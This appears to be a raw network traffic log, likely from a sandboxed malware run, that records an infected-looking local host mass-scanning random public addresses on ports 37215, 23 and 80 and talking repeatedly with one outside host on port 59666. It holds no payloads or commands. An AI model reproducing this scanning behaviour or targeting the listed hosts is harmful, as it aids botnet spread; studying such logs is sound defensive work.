Jan 5, 2025 14:26:54.659013987 CET	56446	37215	192.168.2.13	197.105.24.74
Jan 5, 2025 14:26:54.659014940 CET	56446	37215	192.168.2.13	41.39.72.194
Jan 5, 2025 14:26:54.659017086 CET	56446	37215	192.168.2.13	41.133.64.226
Jan 5, 2025 14:26:54.659017086 CET	56446	37215	192.168.2.13	156.251.6.239
Jan 5, 2025 14:26:54.659032106 CET	56446	37215	192.168.2.13	41.238.141.170
Jan 5, 2025 14:26:54.659034967 CET	56446	37215	192.168.2.13	41.32.190.239
Jan 5, 2025 14:26:54.659035921 CET	56446	37215	192.168.2.13	197.88.215.242
Jan 5, 2025 14:26:54.659038067 CET	56446	37215	192.168.2.13	156.238.100.212
Jan 5, 2025 14:26:54.659044027 CET	56446	37215	192.168.2.13	197.230.113.205
Jan 5, 2025 14:26:54.659044027 CET	56446	37215	192.168.2.13	41.213.98.0
Jan 5, 2025 14:26:54.659060001 CET	56446	37215	192.168.2.13	156.114.51.228
Jan 5, 2025 14:26:54.659063101 CET	56446	37215	192.168.2.13	197.194.149.155
Jan 5, 2025 14:26:54.659074068 CET	56446	37215	192.168.2.13	41.37.33.89
Jan 5, 2025 14:26:54.659079075 CET	56446	37215	192.168.2.13	156.131.139.213
Jan 5, 2025 14:26:54.659085989 CET	56446	37215	192.168.2.13	156.24.14.34
Jan 5, 2025 14:26:54.659085989 CET	56446	37215	192.168.2.13	156.47.23.184
Jan 5, 2025 14:26:54.659100056 CET	56446	37215	192.168.2.13	197.249.50.182
Jan 5, 2025 14:26:54.659100056 CET	56446	37215	192.168.2.13	41.188.67.205
Jan 5, 2025 14:26:54.659105062 CET	56446	37215	192.168.2.13	41.247.31.83
Jan 5, 2025 14:26:54.659121037 CET	56446	37215	192.168.2.13	41.24.37.85
Jan 5, 2025 14:26:54.659123898 CET	56446	37215	192.168.2.13	156.249.145.66
Jan 5, 2025 14:26:54.659136057 CET	56446	37215	192.168.2.13	197.84.210.162
Jan 5, 2025 14:26:54.659136057 CET	56446	37215	192.168.2.13	41.94.134.225
Jan 5, 2025 14:26:54.659137964 CET	56446	37215	192.168.2.13	41.156.19.73
Jan 5, 2025 14:26:54.659142971 CET	56446	37215	192.168.2.13	41.186.44.61
Jan 5, 2025 14:26:54.659143925 CET	56446	37215	192.168.2.13	197.97.132.9
Jan 5, 2025 14:26:54.659153938 CET	56446	37215	192.168.2.13	197.117.107.204
Jan 5, 2025 14:26:54.659153938 CET	56446	37215	192.168.2.13	197.70.255.38
Jan 5, 2025 14:26:54.659153938 CET	56446	37215	192.168.2.13	197.98.9.20
Jan 5, 2025 14:26:54.659157991 CET	56446	37215	192.168.2.13	156.20.8.21
Jan 5, 2025 14:26:54.659163952 CET	56446	37215	192.168.2.13	197.67.238.154
Jan 5, 2025 14:26:54.659163952 CET	56446	37215	192.168.2.13	197.8.11.80
Jan 5, 2025 14:26:54.659163952 CET	56446	37215	192.168.2.13	41.71.204.161
Jan 5, 2025 14:26:54.659179926 CET	56446	37215	192.168.2.13	156.51.204.0
Jan 5, 2025 14:26:54.659183025 CET	56446	37215	192.168.2.13	197.37.246.8
Jan 5, 2025 14:26:54.659195900 CET	56446	37215	192.168.2.13	41.59.166.110
Jan 5, 2025 14:26:54.659195900 CET	56446	37215	192.168.2.13	197.229.8.234
Jan 5, 2025 14:26:54.659220934 CET	56446	37215	192.168.2.13	156.178.35.65
Jan 5, 2025 14:26:54.659220934 CET	56446	37215	192.168.2.13	41.44.61.220
Jan 5, 2025 14:26:54.659220934 CET	56446	37215	192.168.2.13	41.233.228.31
Jan 5, 2025 14:26:54.659220934 CET	56446	37215	192.168.2.13	41.247.53.144
Jan 5, 2025 14:26:54.659223080 CET	56446	37215	192.168.2.13	197.22.184.241
Jan 5, 2025 14:26:54.659220934 CET	56446	37215	192.168.2.13	41.26.23.1
Jan 5, 2025 14:26:54.659220934 CET	56446	37215	192.168.2.13	197.94.186.105
Jan 5, 2025 14:26:54.659220934 CET	56446	37215	192.168.2.13	156.89.89.90
Jan 5, 2025 14:26:54.659228086 CET	56446	37215	192.168.2.13	41.182.119.219
Jan 5, 2025 14:26:54.659234047 CET	56446	37215	192.168.2.13	197.195.250.139
Jan 5, 2025 14:26:54.659244061 CET	56446	37215	192.168.2.13	156.60.94.10
Jan 5, 2025 14:26:54.659245014 CET	56446	37215	192.168.2.13	156.22.241.94
Jan 5, 2025 14:26:54.659245968 CET	56446	37215	192.168.2.13	41.91.163.23
Jan 5, 2025 14:26:54.659251928 CET	56446	37215	192.168.2.13	156.62.23.97
Jan 5, 2025 14:26:54.659266949 CET	56446	37215	192.168.2.13	156.113.226.137
Jan 5, 2025 14:26:54.659271002 CET	56446	37215	192.168.2.13	41.152.118.30
Jan 5, 2025 14:26:54.659272909 CET	56446	37215	192.168.2.13	41.38.58.144
Jan 5, 2025 14:26:54.659291029 CET	56446	37215	192.168.2.13	156.47.134.128
Jan 5, 2025 14:26:54.659291029 CET	56446	37215	192.168.2.13	41.115.194.164
Jan 5, 2025 14:26:54.659296989 CET	56446	37215	192.168.2.13	41.30.105.218
Jan 5, 2025 14:26:54.659297943 CET	56446	37215	192.168.2.13	156.238.249.70
Jan 5, 2025 14:26:54.659297943 CET	56446	37215	192.168.2.13	41.213.53.33
Jan 5, 2025 14:26:54.659300089 CET	56446	37215	192.168.2.13	197.183.170.249
Jan 5, 2025 14:26:54.659316063 CET	56446	37215	192.168.2.13	156.89.199.168
Jan 5, 2025 14:26:54.659328938 CET	56446	37215	192.168.2.13	41.152.55.158
Jan 5, 2025 14:26:54.659328938 CET	56446	37215	192.168.2.13	41.110.88.236
Jan 5, 2025 14:26:54.659328938 CET	56446	37215	192.168.2.13	156.160.171.168
Jan 5, 2025 14:26:54.659328938 CET	56446	37215	192.168.2.13	41.160.242.65
Jan 5, 2025 14:26:54.659337044 CET	56446	37215	192.168.2.13	41.98.192.144
Jan 5, 2025 14:26:54.659337997 CET	56446	37215	192.168.2.13	197.52.130.7
Jan 5, 2025 14:26:54.659342051 CET	56446	37215	192.168.2.13	156.228.88.239
Jan 5, 2025 14:26:54.659363031 CET	56446	37215	192.168.2.13	41.109.188.217
Jan 5, 2025 14:26:54.659363031 CET	56446	37215	192.168.2.13	197.107.158.92
Jan 5, 2025 14:26:54.659373999 CET	56446	37215	192.168.2.13	156.191.5.102
Jan 5, 2025 14:26:54.659377098 CET	56446	37215	192.168.2.13	197.203.134.24
Jan 5, 2025 14:26:54.659380913 CET	56446	37215	192.168.2.13	197.211.133.83
Jan 5, 2025 14:26:54.659382105 CET	56446	37215	192.168.2.13	41.184.239.211
Jan 5, 2025 14:26:54.659400940 CET	56446	37215	192.168.2.13	41.38.239.5
Jan 5, 2025 14:26:54.659400940 CET	56446	37215	192.168.2.13	41.93.246.3
Jan 5, 2025 14:26:54.659401894 CET	56446	37215	192.168.2.13	197.145.140.130
Jan 5, 2025 14:26:54.659401894 CET	56446	37215	192.168.2.13	41.220.243.138
Jan 5, 2025 14:26:54.659415960 CET	56446	37215	192.168.2.13	41.170.207.143
Jan 5, 2025 14:26:54.659425020 CET	56446	37215	192.168.2.13	156.190.31.69
Jan 5, 2025 14:26:54.659425020 CET	56446	37215	192.168.2.13	156.185.53.206
Jan 5, 2025 14:26:54.659425020 CET	56446	37215	192.168.2.13	197.197.236.49
Jan 5, 2025 14:26:54.659435987 CET	56446	37215	192.168.2.13	41.174.73.182
Jan 5, 2025 14:26:54.659435987 CET	56446	37215	192.168.2.13	41.241.13.175
Jan 5, 2025 14:26:54.659435987 CET	56446	37215	192.168.2.13	156.153.8.72
Jan 5, 2025 14:26:54.659439087 CET	56446	37215	192.168.2.13	197.10.176.128
Jan 5, 2025 14:26:54.659451008 CET	56446	37215	192.168.2.13	197.138.204.191
Jan 5, 2025 14:26:54.659459114 CET	56446	37215	192.168.2.13	41.254.133.101
Jan 5, 2025 14:26:54.659465075 CET	56446	37215	192.168.2.13	197.55.115.167
Jan 5, 2025 14:26:54.659465075 CET	56446	37215	192.168.2.13	156.116.128.28
Jan 5, 2025 14:26:54.659466028 CET	56446	37215	192.168.2.13	156.138.174.200
Jan 5, 2025 14:26:54.659476995 CET	56446	37215	192.168.2.13	41.175.137.107
Jan 5, 2025 14:26:54.659485102 CET	56446	37215	192.168.2.13	41.146.221.248
Jan 5, 2025 14:26:54.659487009 CET	56446	37215	192.168.2.13	197.31.144.42
Jan 5, 2025 14:26:54.659492970 CET	56446	37215	192.168.2.13	197.3.157.152
Jan 5, 2025 14:26:54.659502983 CET	56446	37215	192.168.2.13	41.100.175.44
Jan 5, 2025 14:26:54.659518003 CET	56446	37215	192.168.2.13	156.207.156.255
Jan 5, 2025 14:26:54.659523964 CET	56446	37215	192.168.2.13	156.64.79.182
Jan 5, 2025 14:26:54.659526110 CET	56446	37215	192.168.2.13	156.188.40.21
Jan 5, 2025 14:26:54.659543037 CET	56446	37215	192.168.2.13	197.138.73.239
Jan 5, 2025 14:26:54.659555912 CET	56446	37215	192.168.2.13	197.37.34.141
Jan 5, 2025 14:26:54.659558058 CET	56446	37215	192.168.2.13	41.183.1.253
Jan 5, 2025 14:26:54.659563065 CET	56446	37215	192.168.2.13	156.134.104.17
Jan 5, 2025 14:26:54.659564018 CET	56446	37215	192.168.2.13	41.247.17.105
Jan 5, 2025 14:26:54.659564018 CET	56446	37215	192.168.2.13	41.38.225.52
Jan 5, 2025 14:26:54.659564018 CET	56446	37215	192.168.2.13	41.228.9.52
Jan 5, 2025 14:26:54.659571886 CET	56446	37215	192.168.2.13	197.54.199.117
Jan 5, 2025 14:26:54.659573078 CET	56446	37215	192.168.2.13	197.166.212.113
Jan 5, 2025 14:26:54.659573078 CET	56446	37215	192.168.2.13	156.127.72.232
Jan 5, 2025 14:26:54.659573078 CET	56446	37215	192.168.2.13	156.236.212.152
Jan 5, 2025 14:26:54.659573078 CET	56446	37215	192.168.2.13	41.213.87.219
Jan 5, 2025 14:26:54.659573078 CET	56446	37215	192.168.2.13	156.140.148.46
Jan 5, 2025 14:26:54.659579039 CET	56446	37215	192.168.2.13	197.116.126.128
Jan 5, 2025 14:26:54.659579039 CET	56446	37215	192.168.2.13	197.189.181.160
Jan 5, 2025 14:26:54.659580946 CET	56446	37215	192.168.2.13	197.179.116.59
Jan 5, 2025 14:26:54.659588099 CET	56446	37215	192.168.2.13	156.169.184.84
Jan 5, 2025 14:26:54.659600973 CET	56446	37215	192.168.2.13	156.132.193.53
Jan 5, 2025 14:26:54.659601927 CET	56446	37215	192.168.2.13	197.217.171.36
Jan 5, 2025 14:26:54.659601927 CET	56446	37215	192.168.2.13	156.149.112.68
Jan 5, 2025 14:26:54.659605026 CET	56446	37215	192.168.2.13	197.40.163.219
Jan 5, 2025 14:26:54.659630060 CET	56446	37215	192.168.2.13	41.132.45.233
Jan 5, 2025 14:26:54.659632921 CET	56446	37215	192.168.2.13	156.198.131.100
Jan 5, 2025 14:26:54.659632921 CET	56446	37215	192.168.2.13	156.74.229.105
Jan 5, 2025 14:26:54.659632921 CET	56446	37215	192.168.2.13	197.220.101.122
Jan 5, 2025 14:26:54.659632921 CET	56446	37215	192.168.2.13	197.173.99.189
Jan 5, 2025 14:26:54.659632921 CET	56446	37215	192.168.2.13	41.213.152.91
Jan 5, 2025 14:26:54.659636974 CET	56446	37215	192.168.2.13	197.19.23.74
Jan 5, 2025 14:26:54.659637928 CET	56446	37215	192.168.2.13	156.200.9.164
Jan 5, 2025 14:26:54.659636974 CET	56446	37215	192.168.2.13	41.148.61.215
Jan 5, 2025 14:26:54.659637928 CET	56446	37215	192.168.2.13	156.61.240.105
Jan 5, 2025 14:26:54.659646988 CET	56446	37215	192.168.2.13	41.108.197.159
Jan 5, 2025 14:26:54.659646988 CET	56446	37215	192.168.2.13	156.158.142.219
Jan 5, 2025 14:26:54.659670115 CET	56446	37215	192.168.2.13	156.8.17.182
Jan 5, 2025 14:26:54.659671068 CET	56446	37215	192.168.2.13	156.129.5.161
Jan 5, 2025 14:26:54.659672022 CET	56446	37215	192.168.2.13	41.66.50.191
Jan 5, 2025 14:26:54.659672022 CET	56446	37215	192.168.2.13	41.162.16.148
Jan 5, 2025 14:26:54.659672022 CET	56446	37215	192.168.2.13	197.102.20.208
Jan 5, 2025 14:26:54.659687042 CET	56446	37215	192.168.2.13	197.18.65.55
Jan 5, 2025 14:26:54.659686089 CET	56446	37215	192.168.2.13	41.141.55.54
Jan 5, 2025 14:26:54.659706116 CET	56446	37215	192.168.2.13	197.253.147.120
Jan 5, 2025 14:26:54.659706116 CET	56446	37215	192.168.2.13	41.96.129.78
Jan 5, 2025 14:26:54.659717083 CET	56446	37215	192.168.2.13	41.52.144.116
Jan 5, 2025 14:26:54.659718990 CET	56446	37215	192.168.2.13	197.231.183.192
Jan 5, 2025 14:26:54.659727097 CET	56446	37215	192.168.2.13	197.200.231.39
Jan 5, 2025 14:26:54.659728050 CET	56446	37215	192.168.2.13	156.36.213.130
Jan 5, 2025 14:26:54.659744978 CET	56446	37215	192.168.2.13	156.48.65.96
Jan 5, 2025 14:26:54.659745932 CET	56446	37215	192.168.2.13	41.78.145.7
Jan 5, 2025 14:26:54.659744978 CET	56446	37215	192.168.2.13	156.79.32.30
Jan 5, 2025 14:26:54.659745932 CET	56446	37215	192.168.2.13	156.83.101.210
Jan 5, 2025 14:26:54.659749031 CET	56446	37215	192.168.2.13	156.90.70.135
Jan 5, 2025 14:26:54.659765005 CET	56446	37215	192.168.2.13	197.123.232.162
Jan 5, 2025 14:26:54.659765005 CET	56446	37215	192.168.2.13	41.152.129.163
Jan 5, 2025 14:26:54.659765005 CET	56446	37215	192.168.2.13	197.172.132.107
Jan 5, 2025 14:26:54.659766912 CET	56446	37215	192.168.2.13	197.83.57.67
Jan 5, 2025 14:26:54.659770012 CET	56446	37215	192.168.2.13	156.222.71.41
Jan 5, 2025 14:26:54.659775019 CET	56446	37215	192.168.2.13	156.101.184.214
Jan 5, 2025 14:26:54.659775972 CET	56446	37215	192.168.2.13	41.134.128.42
Jan 5, 2025 14:26:54.659791946 CET	56446	37215	192.168.2.13	41.46.58.34
Jan 5, 2025 14:26:54.659791946 CET	56446	37215	192.168.2.13	41.170.167.149
Jan 5, 2025 14:26:54.659794092 CET	56446	37215	192.168.2.13	156.82.26.98
Jan 5, 2025 14:26:54.659796953 CET	56446	37215	192.168.2.13	197.54.94.82
Jan 5, 2025 14:26:54.659802914 CET	56446	37215	192.168.2.13	41.7.229.21
Jan 5, 2025 14:26:54.659812927 CET	56446	37215	192.168.2.13	41.250.228.26
Jan 5, 2025 14:26:54.659822941 CET	56446	37215	192.168.2.13	197.108.99.38
Jan 5, 2025 14:26:54.659825087 CET	56446	37215	192.168.2.13	41.2.200.175
Jan 5, 2025 14:26:54.659833908 CET	56446	37215	192.168.2.13	197.97.50.171
Jan 5, 2025 14:26:54.659836054 CET	56446	37215	192.168.2.13	41.58.106.9
Jan 5, 2025 14:26:54.659843922 CET	56446	37215	192.168.2.13	156.44.95.136
Jan 5, 2025 14:26:54.659848928 CET	56446	37215	192.168.2.13	156.91.126.247
Jan 5, 2025 14:26:54.659848928 CET	56446	37215	192.168.2.13	41.188.179.120
Jan 5, 2025 14:26:54.659859896 CET	56446	37215	192.168.2.13	41.205.245.186
Jan 5, 2025 14:26:54.659861088 CET	56446	37215	192.168.2.13	41.179.151.157
Jan 5, 2025 14:26:54.659867048 CET	56446	37215	192.168.2.13	197.42.28.243
Jan 5, 2025 14:26:54.659868002 CET	56446	37215	192.168.2.13	156.4.123.125
Jan 5, 2025 14:26:54.659868002 CET	56446	37215	192.168.2.13	156.50.255.8
Jan 5, 2025 14:26:54.659868002 CET	56446	37215	192.168.2.13	41.179.196.140
Jan 5, 2025 14:26:54.659881115 CET	56446	37215	192.168.2.13	197.137.253.140
Jan 5, 2025 14:26:54.659883022 CET	56446	37215	192.168.2.13	197.158.165.15
Jan 5, 2025 14:26:54.659897089 CET	56446	37215	192.168.2.13	156.148.156.201
Jan 5, 2025 14:26:54.659899950 CET	56446	37215	192.168.2.13	41.49.144.236
Jan 5, 2025 14:26:54.659903049 CET	56446	37215	192.168.2.13	197.85.39.176
Jan 5, 2025 14:26:54.659909964 CET	56446	37215	192.168.2.13	197.231.131.87
Jan 5, 2025 14:26:54.659921885 CET	56446	37215	192.168.2.13	197.147.168.122
Jan 5, 2025 14:26:54.659921885 CET	56446	37215	192.168.2.13	156.142.74.212
Jan 5, 2025 14:26:54.659925938 CET	56446	37215	192.168.2.13	156.129.246.219
Jan 5, 2025 14:26:54.659925938 CET	56446	37215	192.168.2.13	156.237.46.81
Jan 5, 2025 14:26:54.659940004 CET	56446	37215	192.168.2.13	156.192.178.182
Jan 5, 2025 14:26:54.659943104 CET	56446	37215	192.168.2.13	41.175.16.86
Jan 5, 2025 14:26:54.659948111 CET	56446	37215	192.168.2.13	156.13.211.8
Jan 5, 2025 14:26:54.659951925 CET	56446	37215	192.168.2.13	197.89.9.182
Jan 5, 2025 14:26:54.659955978 CET	56446	37215	192.168.2.13	197.180.173.246
Jan 5, 2025 14:26:54.659972906 CET	56446	37215	192.168.2.13	156.82.107.235
Jan 5, 2025 14:26:54.659974098 CET	56446	37215	192.168.2.13	156.233.169.30
Jan 5, 2025 14:26:54.659976006 CET	56446	37215	192.168.2.13	156.119.14.251
Jan 5, 2025 14:26:54.659976006 CET	56446	37215	192.168.2.13	197.167.18.52
Jan 5, 2025 14:26:54.659980059 CET	56446	37215	192.168.2.13	197.116.168.102
Jan 5, 2025 14:26:54.659991026 CET	56446	37215	192.168.2.13	41.118.253.130
Jan 5, 2025 14:26:54.659991026 CET	56446	37215	192.168.2.13	41.244.207.143
Jan 5, 2025 14:26:54.659996986 CET	56446	37215	192.168.2.13	197.10.217.20
Jan 5, 2025 14:26:54.660011053 CET	56446	37215	192.168.2.13	197.79.72.104
Jan 5, 2025 14:26:54.660013914 CET	56446	37215	192.168.2.13	156.215.66.170
Jan 5, 2025 14:26:54.660015106 CET	56446	37215	192.168.2.13	41.143.104.207
Jan 5, 2025 14:26:54.660017014 CET	56446	37215	192.168.2.13	41.6.39.43
Jan 5, 2025 14:26:54.660022020 CET	56446	37215	192.168.2.13	197.119.124.80
Jan 5, 2025 14:26:54.660028934 CET	56446	37215	192.168.2.13	156.49.78.39
Jan 5, 2025 14:26:54.660037994 CET	56446	37215	192.168.2.13	197.29.248.12
Jan 5, 2025 14:26:54.660052061 CET	56446	37215	192.168.2.13	41.242.109.247
Jan 5, 2025 14:26:54.660056114 CET	56446	37215	192.168.2.13	41.4.112.208
Jan 5, 2025 14:26:54.660058975 CET	56446	37215	192.168.2.13	41.181.91.106
Jan 5, 2025 14:26:54.660058975 CET	56446	37215	192.168.2.13	41.49.176.50
Jan 5, 2025 14:26:54.660075903 CET	56446	37215	192.168.2.13	41.139.50.245
Jan 5, 2025 14:26:54.660083055 CET	56446	37215	192.168.2.13	197.134.66.170
Jan 5, 2025 14:26:54.660092115 CET	56446	37215	192.168.2.13	197.200.107.73
Jan 5, 2025 14:26:54.660092115 CET	56446	37215	192.168.2.13	197.228.94.211
Jan 5, 2025 14:26:54.660099030 CET	56446	37215	192.168.2.13	41.156.62.245
Jan 5, 2025 14:26:54.660114050 CET	56446	37215	192.168.2.13	156.165.133.66
Jan 5, 2025 14:26:54.660121918 CET	56446	37215	192.168.2.13	156.28.128.35
Jan 5, 2025 14:26:54.660121918 CET	56446	37215	192.168.2.13	197.189.141.116
Jan 5, 2025 14:26:54.660123110 CET	56446	37215	192.168.2.13	156.31.163.102
Jan 5, 2025 14:26:54.660128117 CET	56446	37215	192.168.2.13	156.159.25.214
Jan 5, 2025 14:26:54.663563013 CET	37215	56446	41.180.26.32	192.168.2.13
Jan 5, 2025 14:26:54.663574934 CET	37215	56446	197.255.23.109	192.168.2.13
Jan 5, 2025 14:26:54.663599968 CET	56446	37215	192.168.2.13	41.180.26.32
Jan 5, 2025 14:26:54.663621902 CET	56446	37215	192.168.2.13	197.255.23.109
Jan 5, 2025 14:26:54.671672106 CET	49546	23	192.168.2.13	149.93.239.215
Jan 5, 2025 14:26:54.671673059 CET	58014	23	192.168.2.13	43.77.215.174
Jan 5, 2025 14:26:54.671684027 CET	46176	23	192.168.2.13	48.94.23.78
Jan 5, 2025 14:26:54.671684027 CET	51596	23	192.168.2.13	155.246.121.187
Jan 5, 2025 14:26:54.671684027 CET	33410	23	192.168.2.13	184.94.14.70
Jan 5, 2025 14:26:54.671689987 CET	33586	23	192.168.2.13	158.247.147.163
Jan 5, 2025 14:26:54.671700954 CET	56832	23	192.168.2.13	172.100.75.125
Jan 5, 2025 14:26:54.671700954 CET	49148	23	192.168.2.13	158.198.89.125
Jan 5, 2025 14:26:54.671705961 CET	45500	23	192.168.2.13	76.220.145.198
Jan 5, 2025 14:26:54.671705961 CET	54608	23	192.168.2.13	12.193.2.50
Jan 5, 2025 14:26:54.671705961 CET	33026	23	192.168.2.13	209.117.177.151
Jan 5, 2025 14:26:54.671721935 CET	34012	23	192.168.2.13	176.126.127.64
Jan 5, 2025 14:26:54.671721935 CET	60044	23	192.168.2.13	78.37.25.1
Jan 5, 2025 14:26:54.671727896 CET	50998	23	192.168.2.13	115.204.120.17
Jan 5, 2025 14:26:54.671730042 CET	37244	23	192.168.2.13	185.75.52.1
Jan 5, 2025 14:26:54.671735048 CET	33852	23	192.168.2.13	46.100.53.18
Jan 5, 2025 14:26:54.671735048 CET	42704	23	192.168.2.13	130.107.34.39
Jan 5, 2025 14:26:54.671747923 CET	51672	23	192.168.2.13	171.176.110.151
Jan 5, 2025 14:26:54.671751976 CET	45696	23	192.168.2.13	117.65.92.67
Jan 5, 2025 14:26:54.671762943 CET	39258	23	192.168.2.13	182.185.8.39
Jan 5, 2025 14:26:54.671762943 CET	35342	23	192.168.2.13	90.217.44.56
Jan 5, 2025 14:26:54.671771049 CET	38452	23	192.168.2.13	175.98.9.16
Jan 5, 2025 14:26:54.671780109 CET	41418	23	192.168.2.13	139.155.60.198
Jan 5, 2025 14:26:54.671787024 CET	38988	23	192.168.2.13	138.193.41.95
Jan 5, 2025 14:26:54.671787977 CET	42910	23	192.168.2.13	123.209.196.126
Jan 5, 2025 14:26:54.671788931 CET	51838	23	192.168.2.13	74.142.1.65
Jan 5, 2025 14:26:54.671788931 CET	42526	23	192.168.2.13	114.132.7.169
Jan 5, 2025 14:26:54.671797037 CET	33304	23	192.168.2.13	116.129.228.120
Jan 5, 2025 14:26:54.671799898 CET	47960	23	192.168.2.13	141.243.72.29
Jan 5, 2025 14:26:54.671799898 CET	34178	23	192.168.2.13	13.13.250.80
Jan 5, 2025 14:26:54.671803951 CET	33798	23	192.168.2.13	130.151.57.76
Jan 5, 2025 14:26:54.671803951 CET	38622	23	192.168.2.13	60.125.138.99
Jan 5, 2025 14:26:54.671803951 CET	56022	23	192.168.2.13	12.130.211.154
Jan 5, 2025 14:26:54.671811104 CET	41466	23	192.168.2.13	108.219.151.134
Jan 5, 2025 14:26:54.671814919 CET	39778	23	192.168.2.13	105.134.236.117
Jan 5, 2025 14:26:54.671819925 CET	44344	23	192.168.2.13	108.249.25.160
Jan 5, 2025 14:26:54.671829939 CET	55994	23	192.168.2.13	128.119.103.35
Jan 5, 2025 14:26:54.671830893 CET	44802	23	192.168.2.13	172.62.193.94
Jan 5, 2025 14:26:54.671832085 CET	46062	23	192.168.2.13	129.35.49.166
Jan 5, 2025 14:26:54.671844959 CET	59364	23	192.168.2.13	145.159.131.164
Jan 5, 2025 14:26:54.671844959 CET	51408	23	192.168.2.13	174.176.140.103
Jan 5, 2025 14:26:54.671849012 CET	60524	23	192.168.2.13	4.156.150.38
Jan 5, 2025 14:26:54.671859026 CET	47010	23	192.168.2.13	72.105.254.26
Jan 5, 2025 14:26:54.671861887 CET	54718	23	192.168.2.13	153.158.224.65
Jan 5, 2025 14:26:54.671864986 CET	42262	23	192.168.2.13	94.225.230.58
Jan 5, 2025 14:26:54.671878099 CET	52362	23	192.168.2.13	43.238.132.81
Jan 5, 2025 14:26:54.671879053 CET	34498	23	192.168.2.13	152.217.73.227
Jan 5, 2025 14:26:54.671883106 CET	47544	23	192.168.2.13	27.34.82.63
Jan 5, 2025 14:26:54.671883106 CET	33064	23	192.168.2.13	142.33.143.232
Jan 5, 2025 14:26:54.671883106 CET	59668	23	192.168.2.13	65.68.111.240
Jan 5, 2025 14:26:54.671888113 CET	49878	23	192.168.2.13	180.230.185.83
Jan 5, 2025 14:26:54.671888113 CET	47802	23	192.168.2.13	183.66.48.160
Jan 5, 2025 14:26:54.671890974 CET	45940	23	192.168.2.13	203.132.104.165
Jan 5, 2025 14:26:54.671890974 CET	38910	23	192.168.2.13	192.46.92.46
Jan 5, 2025 14:26:54.671892881 CET	56360	23	192.168.2.13	105.122.243.73
Jan 5, 2025 14:26:54.671899080 CET	53752	23	192.168.2.13	192.1.216.29
Jan 5, 2025 14:26:54.671895027 CET	57550	23	192.168.2.13	222.205.166.75
Jan 5, 2025 14:26:54.671892881 CET	51068	23	192.168.2.13	189.244.170.99
Jan 5, 2025 14:26:54.671891928 CET	36376	23	192.168.2.13	223.41.252.204
Jan 5, 2025 14:26:54.671895027 CET	37174	23	192.168.2.13	112.89.74.113
Jan 5, 2025 14:26:54.671901941 CET	52444	23	192.168.2.13	118.141.145.205
Jan 5, 2025 14:26:54.671895027 CET	37696	23	192.168.2.13	209.10.152.66
Jan 5, 2025 14:26:54.671901941 CET	41322	23	192.168.2.13	74.113.89.253
Jan 5, 2025 14:26:54.671910048 CET	56430	23	192.168.2.13	107.148.233.179
Jan 5, 2025 14:26:54.671915054 CET	51770	23	192.168.2.13	4.60.191.109
Jan 5, 2025 14:26:54.671919107 CET	51042	23	192.168.2.13	65.254.72.249
Jan 5, 2025 14:26:54.671919107 CET	56318	23	192.168.2.13	113.182.234.139
Jan 5, 2025 14:26:54.671933889 CET	38006	23	192.168.2.13	185.5.61.22
Jan 5, 2025 14:26:54.671933889 CET	60960	23	192.168.2.13	198.73.78.237
Jan 5, 2025 14:26:54.671933889 CET	57924	23	192.168.2.13	52.210.216.145
Jan 5, 2025 14:26:54.671942949 CET	49708	23	192.168.2.13	161.41.229.6
Jan 5, 2025 14:26:54.671942949 CET	39752	23	192.168.2.13	84.16.242.132
Jan 5, 2025 14:26:54.671945095 CET	39048	23	192.168.2.13	195.45.54.46
Jan 5, 2025 14:26:54.671951056 CET	45662	23	192.168.2.13	218.37.164.166
Jan 5, 2025 14:26:54.671953917 CET	48682	23	192.168.2.13	64.83.120.70
Jan 5, 2025 14:26:54.671962976 CET	45076	23	192.168.2.13	92.8.146.10
Jan 5, 2025 14:26:54.671962976 CET	53866	23	192.168.2.13	50.28.230.253
Jan 5, 2025 14:26:54.671964884 CET	56792	23	192.168.2.13	204.230.43.185
Jan 5, 2025 14:26:54.671969891 CET	50208	23	192.168.2.13	173.99.109.48
Jan 5, 2025 14:26:54.671972990 CET	37884	23	192.168.2.13	154.146.142.2
Jan 5, 2025 14:26:54.676529884 CET	23	58014	43.77.215.174	192.168.2.13
Jan 5, 2025 14:26:54.676580906 CET	58014	23	192.168.2.13	43.77.215.174
Jan 5, 2025 14:26:54.688858032 CET	80	37098	95.147.60.89	192.168.2.13
Jan 5, 2025 14:26:55.583149910 CET	51654	59666	192.168.2.13	92.118.56.203
Jan 5, 2025 14:26:55.588021040 CET	59666	51654	92.118.56.203	192.168.2.13
Jan 5, 2025 14:26:55.588067055 CET	51654	59666	192.168.2.13	92.118.56.203
Jan 5, 2025 14:26:55.588080883 CET	51654	59666	192.168.2.13	92.118.56.203
Jan 5, 2025 14:26:55.592838049 CET	59666	51654	92.118.56.203	192.168.2.13
Jan 5, 2025 14:26:55.592879057 CET	51654	59666	192.168.2.13	92.118.56.203
Jan 5, 2025 14:26:55.597611904 CET	59666	51654	92.118.56.203	192.168.2.13
Jan 5, 2025 14:26:55.641506910 CET	56958	80	192.168.2.13	49.185.194.134
Jan 5, 2025 14:26:55.641516924 CET	56958	80	192.168.2.13	184.39.176.49
Jan 5, 2025 14:26:55.641516924 CET	56958	80	192.168.2.13	54.151.72.99
Jan 5, 2025 14:26:55.641516924 CET	56958	80	192.168.2.13	132.108.249.151
Jan 5, 2025 14:26:55.641534090 CET	56958	80	192.168.2.13	32.164.191.231
Jan 5, 2025 14:26:55.641534090 CET	56958	80	192.168.2.13	64.50.196.133
Jan 5, 2025 14:26:55.641534090 CET	56958	80	192.168.2.13	97.124.195.81
Jan 5, 2025 14:26:55.641540051 CET	56958	80	192.168.2.13	46.224.56.104
Jan 5, 2025 14:26:55.641544104 CET	56958	80	192.168.2.13	187.178.160.113
Jan 5, 2025 14:26:55.641558886 CET	56958	80	192.168.2.13	121.155.195.73
Jan 5, 2025 14:26:55.641558886 CET	56958	80	192.168.2.13	40.133.17.244
Jan 5, 2025 14:26:55.641560078 CET	56958	80	192.168.2.13	44.162.94.163
Jan 5, 2025 14:26:55.641576052 CET	56958	80	192.168.2.13	110.169.6.176
Jan 5, 2025 14:26:55.641578913 CET	56958	80	192.168.2.13	128.250.180.34
Jan 5, 2025 14:26:55.641582966 CET	56958	80	192.168.2.13	169.194.176.114
Jan 5, 2025 14:26:55.641582966 CET	56958	80	192.168.2.13	90.185.103.33
Jan 5, 2025 14:26:55.641582966 CET	56958	80	192.168.2.13	198.38.240.51
Jan 5, 2025 14:26:55.641582966 CET	56958	80	192.168.2.13	37.168.163.42
Jan 5, 2025 14:26:55.641593933 CET	56958	80	192.168.2.13	14.81.236.190
Jan 5, 2025 14:26:55.641597033 CET	56958	80	192.168.2.13	160.232.8.64
Jan 5, 2025 14:26:55.641602993 CET	56958	80	192.168.2.13	218.135.140.108
